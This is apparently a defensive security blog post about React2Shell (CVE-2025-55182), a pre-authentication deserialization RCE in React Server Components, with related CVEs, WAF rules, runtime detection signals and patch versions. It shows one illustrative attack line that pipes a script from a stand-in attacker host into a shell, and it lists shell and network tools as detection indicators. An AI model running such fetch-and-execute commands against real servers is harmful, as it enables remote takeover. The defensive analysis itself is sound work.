On December 5, 2025, active exploitation of CVE-2025-55182 was detected in the wild. A single HTTP POST request to any React Server Function could achieve full remote code execution on the server — no authentication required. The vulnerability affected every application using React Server Components, including the entire Next.js ecosystem. Within days, incident response teams across the industry were scrambling to patch millions of deployments.
This was not a misconfiguration. It was a design flaw in how React trusted its own components.
What Is React2Shell?
React Server Components (RSC) introduced a programming model where components can run exclusively on the server. Server Functions (formerly “Server Actions”) allow the client to invoke server-side logic via HTTP POST requests. The framework serializes arguments on the client, sends them over the wire, and deserializes them on the server.
CVE-2025-55182 — dubbed React2Shell — exploits the deserialization step. The server blindly trusted the serialized payload from the client, assuming it originated from a legitimate React component. An attacker could craft a malicious serialized object that, when deserialized by the Node.js runtime, executed arbitrary system commands.
| Detail | Value |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS Score | 10.0 (Critical) |
| Attack Vector | Network (HTTP POST) |
| Authentication | None required |
| Complexity | Low |
| Impact | Full RCE under Node.js process |
| Exploitation in the wild | Confirmed since December 5, 2025 |
The Root Cause: Default Trust Between Components
The fundamental issue is a trust boundary violation. React’s architecture assumed that data flowing from client components to server components was inherently trustworthy — after all, the framework itself generated the serialized payloads on the client side. This “default trust” model ignored a basic security principle: anything the client sends can be tampered with.
The deserialization logic in Server Functions accepted complex object types without validating their structure or constraining what could be instantiated. This turned every Server Function into an implicit eval() endpoint.
| |
Related CVEs: The Full Attack Surface
React2Shell was the headline, but it exposed a broader attack surface in React Server Components. Multiple related vulnerabilities were disclosed in rapid succession:
| CVE | Type | CVSS | Description |
|---|---|---|---|
| CVE-2025-55182 | RCE | 10.0 | React2Shell — pre-auth remote code execution via deserialization |
| CVE-2025-55184 | DoS | 7.5 | Server crash via crafted payload to Server Functions |
| CVE-2025-67779 | DoS | 7.5 | Out-of-memory / CPU exhaustion via malformed RSC stream |
| CVE-2025-55183 | Info Disclosure | 5.3 | Server-side source code leak under specific conditions |
| CVE-2026-23864 | DoS | 7.5 | Additional DoS vector disclosed January 2026 |
All five vulnerabilities target the same architectural surface: the serialization/deserialization boundary between client and server components. Fixing one without addressing the others leaves the application exposed.
How Exploitation Works
The attack is remarkably simple. An attacker sends a single HTTP POST to any Server Function endpoint with a crafted serialized payload:
| |
On the server, the React runtime deserializes this payload before the Server Function’s application code ever runs. The malicious object’s construction triggers system command execution under the Node.js process:
[attacker] --HTTP POST--> [React RSC deserializer] --spawns--> /bin/sh -c "curl attacker.io/shell | sh"
No authentication. No session. No CSRF token. A single request from curl is sufficient.
Mitigation 1: Static Code Analysis
Before runtime, catch the patterns that create exposure. Static analysis tools can flag Server Functions that accept complex object types without explicit schema validation:
| |
Tools like Semgrep can be configured to detect unvalidated Server Function inputs:
| |
Mitigation 2: WAF Rules
A Web Application Firewall can block exploitation attempts at the network edge, buying time while you patch. Both Cloudflare and ModSecurity published rules within days of the disclosure.
Cloudflare WAF
Cloudflare deployed managed rules automatically for customers on Pro+ plans. For custom rules, the key is matching the RSC wire format in POST bodies targeting Server Function endpoints:
# Cloudflare WAF custom rule (expression)
# Block POST requests with RSC serialization markers targeting action endpoints
(http.request.method eq "POST"
and http.request.uri.path contains "/action"
and any(http.request.headers["content-type"][*] contains "react-server")
and http.request.body.size > 2048)
ModSecurity (OWASP CRS)
For self-hosted WAFs, ModSecurity rules can inspect POST bodies for the attack signatures:
| |
Mitigation 3: Runtime Detection
Even after patching, monitoring for exploitation attempts provides defense-in-depth. The key indicators are anomalous process spawning and unexpected network connections originating from your Node.js process.
Detecting Anomalous Child Processes
A Node.js application running React should never spawn shell processes. Any sh, bash, curl, wget, or nc execution from the Node.js process tree is a strong signal of compromise:
| |
Detecting Unexpected Outbound Connections
Post-exploitation typically involves callback connections to attacker infrastructure:
| |
SIEM Correlation
Forward your application and WAF logs to your SIEM and create correlation rules. A high-confidence alert combines multiple signals:
| Signal | Source | Confidence Alone |
|---|---|---|
| POST to Server Function with malformed body | WAF logs | Low (could be a bug) |
Node.js spawns sh or curl | Falco / auditd | High |
| Outbound connection to unknown IP on port 4444 | Network monitoring | Medium |
| All three within 5 seconds | SIEM correlation | Critical |
Mitigation 4: Input Validation and Serialization Boundaries
The architectural fix is to never trust deserialized input without explicit validation. This applies beyond React — any framework that serializes complex objects across a trust boundary is vulnerable to the same class of attack.
| |
Mitigation 5: Patching Strategy
Patching is non-negotiable. Here are the safe versions as documented by Unit42:
React
| Branch | Vulnerable | Patched |
|---|---|---|
| 19.0.x | <= 19.0.3 | 19.0.4 |
| 19.1.x | <= 19.1.4 | 19.1.5 |
| 19.2.x | <= 19.2.3 | 19.2.4 |
Next.js
| Branch | Patched Version |
|---|---|
| 15.0.x | 15.0.5 |
| 15.1.x | 15.1.9 |
| 15.2.x | 15.2.6 |
| 15.3.x | 15.3.6 |
| 15.4.x | 15.4.8 |
| 15.5.x | 15.5.7 |
| 16.0.x | 16.0.7 |
Verify your installed versions and patch immediately:
| |
If you cannot patch immediately, disable Server Functions entirely as a temporary measure:
| |
Lessons Learned
React2Shell is a case study in what happens when a framework abstracts away the client-server boundary without enforcing trust boundaries at the serialization layer.
1. Trust boundaries must be explicit, not implicit. React’s programming model made it natural to pass objects between client and server components as if they were in the same process. They are not. Every network hop is a trust boundary, and every deserialization point is a potential code execution vector.
2. Shift-left security must include framework-level analysis. Traditional SAST tools scan your application code, but React2Shell lived in the framework’s deserialization logic — code that most teams never audit. Dependency scanning, SBOM tracking, and framework-specific security advisories are not optional.
3. Defense-in-depth is not a buzzword. No single control would have prevented exploitation across all environments. The organizations that responded fastest had layered defenses: WAF rules blocked the initial wave, runtime monitoring detected bypass attempts, and rapid patching eliminated the root cause.
4. Deserialization is the new eval(). The security community learned this lesson with Java (Apache Commons Collections, Log4Shell) and PHP (unserialize). Now JavaScript frameworks are learning it the hard way. Any mechanism that reconstructs objects from untrusted input is an attack surface.
5. The supply chain includes your framework. React is used by millions of applications. A single vulnerability in its core serialization logic gave attackers pre-auth RCE across the entire ecosystem. Treating framework dependencies as trusted by default is the same mistake React made with client-to-server payloads.
Conclusion
CVE-2025-55182 was a reminder that abstraction has a cost. React Server Components made it seamless to invoke server-side logic from the client — so seamless that the framework forgot it was crossing a trust boundary. The result was a CVSS 10.0 vulnerability that reduced the gap between “visiting a URL” and “owning the server” to a single HTTP POST.
The defensive playbook is not new: validate all input at serialization boundaries, monitor for anomalous runtime behavior, layer WAF rules as a first line of defense, and patch aggressively. What is new is the scale — when the vulnerability lives in a framework used by millions of applications, the window between disclosure and mass exploitation is measured in hours, not days.
Patch your React and Next.js dependencies. Validate every Server Function input. Monitor your Node.js processes for anomalous behavior. And never assume that the code generating the request is the code you wrote.
References:
- Critical Security Vulnerability in React Server Components — React Blog
- Denial of Service and Source Code Exposure in React Server Components — React Blog
- Defending Against CVE-2025-55182 (React2Shell) — Microsoft Security Blog
- React2Shell and Related RSC Vulnerabilities Threat Brief — Cloudflare
- CVE-2025-55182 React and Next.js — Unit42, Palo Alto Networks
